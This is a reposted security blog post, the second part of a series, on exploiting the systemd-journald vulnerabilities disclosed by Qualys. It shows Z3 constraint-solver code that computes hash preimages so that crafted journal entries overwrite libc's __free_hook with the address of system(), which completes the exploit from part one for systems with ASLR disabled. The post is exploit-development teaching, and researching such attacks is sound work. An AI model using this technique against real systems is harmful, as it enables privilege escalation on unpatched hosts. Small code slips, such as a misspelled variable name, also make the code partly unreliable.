Exploiting systemd-journald Part 2

[Nytro]

Exploiting systemd-journald Part 2

February 6, 2019

By Nick Gregory

Introduction

This is the second part in a multipart series on exploiting two vulnerabilities in systemd-journald, which were published by Qualys on January 9th. In the first post, we covered how to communicate with journald, and built a simple proof-of-concept to exploit the vulnerability, using predefined constants for fixed addresses (with ASLR disabled).

In this post, we explore how to compute the hash preimages necessary to write a controlled value into libc’s __free_hook as described in part one. This is an important step in bypassing ASLR, as the address of the target location to which we redirect execution (which is system in our case) will be changing between each instance of systemd-journald. Consequently, successful exploitation in the presence of ASLR requires computing a hash preimage dynamically to correspond with the respective address space of that instance of systemd-journald. How to disclose the location of system, and writing an exploit to completely bypass ASLR, are beyond the scope of this post.

The Challenge

As noted in the first blog post, we don’t directly control the data written to the stack after it has been lowered into libc’s memory – the actual values written are the result of hashing our journal entries with jenkins_hashlittle2. Since this is a function pointer we’re overwriting, we must have full 64 bit control of the hash output which can seem like a very daunting task at first, and would indeed be impractical if a cryptographically secure hash was used. However jenkins_hashlittle2 is not cryptographically secure, and we can use this property to generate preimages for any 64 bit output in just a few seconds.

The Solution

We can use a tool like Z3 to build a mathematical definition of the hash function and automatically generate an input which satisfies certain constraints (like the output being the address of system, and the input being constrained to valid entry format).

Z3

Z3 is a theorem prover which gives us the ability to (among other things) easily model and solve logical constraints. Let’s take a look at how to use it by going through an example in the Z3 repo. In this example, we want to find if there exists an assignment for variables x and y so that the following conditions hold:

• x + y > 5
• x > 1
• y > 1

It is clear that more than one solutions exist to satisfy the above set of constraints. Z3 will inform us if the set constraints has a solution (is satisfiable), as well as provide us with one assignment to our variables that demonstrates satisfiability. Let’s see how Z3 can do so:

from z3 import *

x = Real('x')
y = Real('y')
s = Solver()
s.add(x + y > 5, x > 1, y > 1)
print(s.check())
print(s.model())

This simple example shows how to create variables (e.g. Real('x')), add the constraints that x + y > 5, x > 1, and y > 1 (s.add(x + y > 5, x > 1, y > 1)), check if the given state is satisfiable (i.e. there are values for x and y that satisfy all constraints), and get a set of values for x and y that satisfy the constraints.

As expected, running this example yields:

sat
[y = 4, x = 2]

meaning that the stated formula is satisfiable, and that y=4, x=2 is a solution that satisfies the equation.

BitVectors

Not only can Z3 represent arbitrary real numbers, but it can also represent fixed-width integers called BitVectors. We can use these to model some more interesting elements of low-level computing like integer wraparound:

from z3 import *

x = BitVec('x', 32)  # Create a 32-bit wide variable, x
y = BitVec('y', 32)
s = Solver()
s.add(x > 0, y > 0, x+y < 0)  # Constrain x and y to be positive, but their sum to be negative
print(s.check())
print(s.model())

A few small notes here:

• Adding two BitVecs of a certain size yields another BitVec of the same size
• Comparisons made by using < and > in Python result in signed comparisons being added to the solver constraints. Unsigned comparisons can be made using Z3-provided functions.

And as we’d expect,

sat
[b = 2147451006, a = 2147451006]

BitVecs give us a very nice way to represent the primitive C types, such as the ones we will need to model the hash function in order to create our preimages.

Transformations

Being able to solve simple equations is great, but in general we will want to reason on more complex operations involving variables. Z3’s Python bindings allow us to do this in an intuitive way. For instance (drawing from this Wikipedia example), if we wanted to find a fixed point in the equation f(x) = x2-3x+4, we can simply write:

def f(x):
	return x**2 - 3*x + 4

x = Real('x')
s = Solver()
s.add(f(x) == x)
s.check()
s.model()

This yields an expected result:

sat
x = 2

Lastly, it’s worth noting that Z3’s Python bindings provide pretty-printing for expressions. So if we print out f(x) in the above example, we get a nicely formatted representation of what f(x) is symbolically:

x**2 - 3*x + 4

This just scratches the surface of what you can do with Z3, but it’s enough for us to begin using Z3 to model jenkins_hashlittle2, and create preimages for it.

Modeling The Hash Function

Input

As noted above, all BitVectors in Z3 have a fixed size, and this is where we run into our first issue. Our hash function, jenkins_hashlittle2, takes a variable length array of input which can’t be modeled with a fixed length BitVec. So we first need to decide how long our input is going to be.

Looking through the hash function’s source, we see that it chunks its input into 3 uint32_ts at a time, and operates on those. If this is a hash function that uniformly distributes its output, those 12 bytes of input should be enough to cover the 8 byte output space (i.e. all possible 8 byte outputs should be generated by one or more 12 byte input), so we should be able to use 12 bytes as our input length. This also has the benefit of never calling the hash’s internal state mixing function, which greatly reduces the complexity of the equations.

length = 12
target = 0x7ffff7a33440  # The address of system() on our ASLR-disabled system
s = Solver()
key = BitVec('key', 8*length)

Input Constraints

Our input (key) has to satisfy several constraints. Namely, it must be a valid journald native entry. As we saw in part one, this means it should resemble “ENTRY_NAME=ENTRY_VALUE”. However there are some constraints on ENTRY_NAME that we must be taken into account (as checked by the journal_field_valid function): the name must be less than 64 characters, must start with [A-Z], and must only contain [A-Z0-9_]. The ENTRY_VALUE has no constraints besides not containing a newline character, however.

To minimize the total number of constraints Z3 has to solve for, we chose to hard-code the entry format in our model as one uppercase character for the entry name, an equals sign, and then 10 ASCII-printable characters above the control character range for the entry value. To specify this in Z3, we will use the Extract function, which allows us to select slices of a BitVector, such that we can apply constraints to that slice. Extract takes three arguments: bit length, starting offset, and BitVector.

char = Extract(7, 0, key)
s.add(char >= ord('A'), char <= ord('Z'))  # First character must be uppercase

char = Extract(15, 8, key)
s.add(char == ord('='))  # Second character must be ‘=’

for char_offset in range(16, 8*length, 8):
    char = Extract(char_offset + 7, char_offset, key)
    s.add(char >= 0x20, char <= 0x7e)  # Subsequent characters must just be in the printable range

Note: Z3’s Extract function is very un-Pythonic. It takes the high bit first (inclusive), then the low bit (inclusive), then the source BitVec to extract from. So Extract(7, 0, key) extracts the first byte from key.

The Function Itself

Now that we have our input created and constrained, we can model the function itself.

First, we create our Z3 instance of the internal state variables uint32_t a, b, c using the BitVecVal class (which is just a way of creating a BitVec of the specified length with a predetermined value). The predetermined value is the same as in the hashing function, which is the constant 0xdeadbeef plus the length:

initial_vaue = 0xdeadbeef + length
a = BitVecVal(initial_value, 32)
b = BitVecVal(initial_value, 32)
c = BitVecVal(initial_value, 32)

Note: The *pc component of the initialization will always be 0, as it’s initialized to 0 in the hash64() function, which is what’s actually called on our input.

We can ignore the alignment checks the hash function does (as we aren’t actually dereferencing anything in Z3). We can also skip past the while (length > 12) loop, and start in the case 12 as our length is hard-coded to be 12. Thus the first bit of code we need to implement is from inside the switch block on the length, at case 12, which adds the three parts of the key to a, b, and 😄

a += Extract(31, 0, key)
b += Extract(63, 32, key)
c += Extract(95, 64, key)

Since key is just an vector of bits from the perspective of Z3, in the above code we just Extract the first, second, and third uint32_t – there’s no typecasting to do.

Following the C source, we next need to implement the final macro, which does the final state mixing to produce the hash output. Looking at the source, it uses another macro (rot), but this is just a simple rotate left operation. Z3 has rotate left as a primitive function, so we can make our lives easy by adding an import to our Python:

from z3 import RotateLeft as rot

And then we can simply paste in the macro definition verbatim (well, minus the line-continuation characters):

c ^= b; c -= rot(b, 14)
a ^= c; a -= rot(c, 11)
b ^= a; b -= rot(a, 25)
c ^= b; c -= rot(b, 16)
a ^= c; a -= rot(c, 4)
b ^= a; b -= rot(a, 14)
c ^= b; c -= rot(b, 24)

At this point, the variables a, b, and c contain equations which represent their state when the hash function is about to return. From the source, hash64() combines the b and c out arguments to produce the final 64-bit hash. So we can simply add constraints to our model to denote that b and c are equal to their respective halves of the 64-bit output we want:

s.add(b == (target & 0xffffffff))
s.add(c == (target >> 32))

All that’s left at this point is to check the state for satisfiability:

s.check()

Get our actual preimage value from the model:

preimage = s.model()[key].as_long()

And transform it into a string:

input_str = preimage.to_bytes(12, byteorder='little').decode('ascii')

With that, our exploit from part 1 is now fully explained, and can be used on any system where the addresses of libc and the stack are constant (i.e. systems which have ASLR disabled).

Conclusion

Z3 is a very powerful toolkit that can be used to solve a number of problems in exploit development. This blog post has only scratched the surface of its capabilities, but as we’ve seen, even basic Z3 operations can be used to trivially solve complex problems.

Read Part One of this series

 

Sursa: https://capsule8.com/blog/exploiting-systemd-journald-part-2/